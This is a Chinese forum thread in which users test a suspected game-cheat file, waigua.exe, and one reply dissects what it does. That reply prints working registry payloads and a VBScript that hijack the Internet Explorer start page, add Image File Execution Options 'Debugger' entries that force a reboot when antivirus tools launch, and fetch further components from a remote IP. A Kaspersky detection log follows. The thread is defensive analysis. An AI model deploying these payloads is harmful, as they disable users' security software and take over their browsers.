小玩意！

amour123

大家在沙盘下运行一下！看看是不是病毒！

jck1996

红伞拦截

BING126

是病毒。。McAfee 报了1个。。

username

is a virus

waigua.exe
－load wshom.ocx (deny)
－C:\windows\temp\123.exe // software "regini" , open with the 123.ini
－C:\windows\temp\123.ini // [8] mean set only read access

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main [8]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SuperKiller.exe [8]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ArSwp.exe [8]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\arswp3.exe [8]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KSMGUI.exe [8]
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows [8]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360se.exe [8]

－C:\windows\temp\ie.reg

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\http\shell\Maxthon\command]
@="\"C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE\" \"%1\""
[HKEY_CLASSES_ROOT\http\shell\Maxthon\command]
@="\"C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE\" \"%1\""
[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command]
@="\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" http://www.qian14.cn"
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows]
"load"="c:\\windows\\fonts\\internat.vbs"
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Start Page"="http://www.qian14.cn/"
[HKEY_CLASSES_ROOT\http\shell\TencentTraveler\command]
@="\"C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE\" \"%1\""
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SuperKiller.exe]
"Debugger"="shutdown -r -t 20"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ArSwp.exe]
"Debugger"="shutdown -r -t 20"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\arswp3.exe]
"Debugger"="shutdown -r -t 20"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ksmgui.exe]
"Debugger"="shutdown -r -t 20"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360se.exe]
"Debugger"="shutdown -r -t 20"

－C:\windows\fonts\internat.reg

Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command]
@="\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" http://www.qian14.cn"
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Start Page"="http://www.qian14.cn/"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel]
"{871C5380-42A0-1069-A2EA-08002B30309D}"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu]
"{871C5380-42A0-1069-A2EA-08002B30309D}"=dword:00000000
[HKEY_CLASSES_ROOT\http\shell\TencentTraveler\command]
@="\"C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE\" \"%1\""
[HKEY_CURRENT_USER\Software\Classes\http\shell\Maxthon\command]
@="\"C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE\" \"%1\""
[HKEY_CLASSES_ROOT\http\shell\Maxthon\command]
@="\"C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE\" \"%1\""
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SuperKiller.exe]
"Debugger"="shutdown -r -t 20"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ArSwp.exe]
"Debugger"="shutdown -r -t 20"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\arswp3.exe]
"Debugger"="shutdown -r -t 20"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ksmgui.exe]
"Debugger"="shutdown -r -t 20"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360se.exe]
"Debugger"="shutdown -r -t 20"

－C:\windows\fonts\internat.vbs

On Error Resume Next
Dim fso,file
name1="Internet Explorer.lnk"
Set WshShell = WScript.CreateObject("WScript.Shell")
strDesktop = WshShell.SpecialFolders("Desktop") :
WshShell.run "regedit /s c:\windows\fonts\internat.reg"
Set fso=CreateObject("Scripting.FileSystemObject")
Set fld=fso.GetFolder(strDesktop)
set oShellLink = WshShell.CreateShortcut(strDesktop & "\QQ爱表情包.lnk")
oShellLink.TargetPath = "http://q.5pps.cn" :
oShellLink.WindowStyle = 3 :
oShellLink.Hotkey = "Ctrl+Alt+C" :
oShellLink.IconLocation = "c:\windows\fonts\tb.ico" :
oShellLink.Description = "QQ爱表情包" :
oShellLink.WorkingDirectory = strDesktop :
oShellLink.Save :
For Each file In fld.Files
name=fso.GetFileName(file)
If name=name1 Then  
file.Delete
End If
Next  

－C:\windows\fonts\tb.ico // only a icon file
－C:\windows\system32\internst.exe //empty file
－C:\windows\temp\svchost.exe //down form 98.126.191.122:8001
　－C:\windows\temp\updata.exe //down form 98.126.191.122:8001
　　－C:\WINDOWS\system32\wybho.dll
　　－C:\Program Files\Internet Explorer\updata.exe
　　－delselfbat

all files pack

尤金卡巴斯基

2009/12/30 22:19:54        已删除        木马程序 Trojan-Dropper.Win32.StartPage.cl        G:\Temp\Virus\waigua.zip/waigua.exe       
2009/12/30 22:20:21        已删除        木马程序 Trojan-Downloader.Win32.Adload.inv        G:\Temp\Virus\waigua.rar/svchost.exe       
2009/12/30 22:20:21        已删除        木马程序 Trojan.Win32.BHO.aczv        G:\Temp\Virus\waigua.rar/updata.exe//PE_Patch.UPX//UPX//data0000//PE_Patch.UPX//UPX       
2009/12/30 22:20:21        已删除        木马程序 Trojan.Win32.BHO.aczv        G:\Temp\Virus\waigua.rar/updata.exe//PE_Patch.UPX//UPX//data0000//PE_Patch.UPX       
2009/12/30 22:20:21        已删除        木马程序 Trojan.Win32.BHO.aczv        G:\Temp\Virus\waigua.rar/updata.exe//PE_Patch.UPX//UPX//data0000       
2009/12/30 22:20:21        已删除        木马程序 Trojan.Win32.BHO.aczv        G:\Temp\Virus\waigua.rar/updata.exe//PE_Patch.UPX//UPX       
2009/12/30 22:20:21        已删除        木马程序 Trojan.Win32.BHO.aczv        G:\Temp\Virus\waigua.rar/updata.exe//PE_Patch.UPX       
2009/12/30 22:20:21        已删除        木马程序 Trojan-Dropper.Win32.StartPage.cl        G:\Temp\Virus\waigua.rar/waigua.exe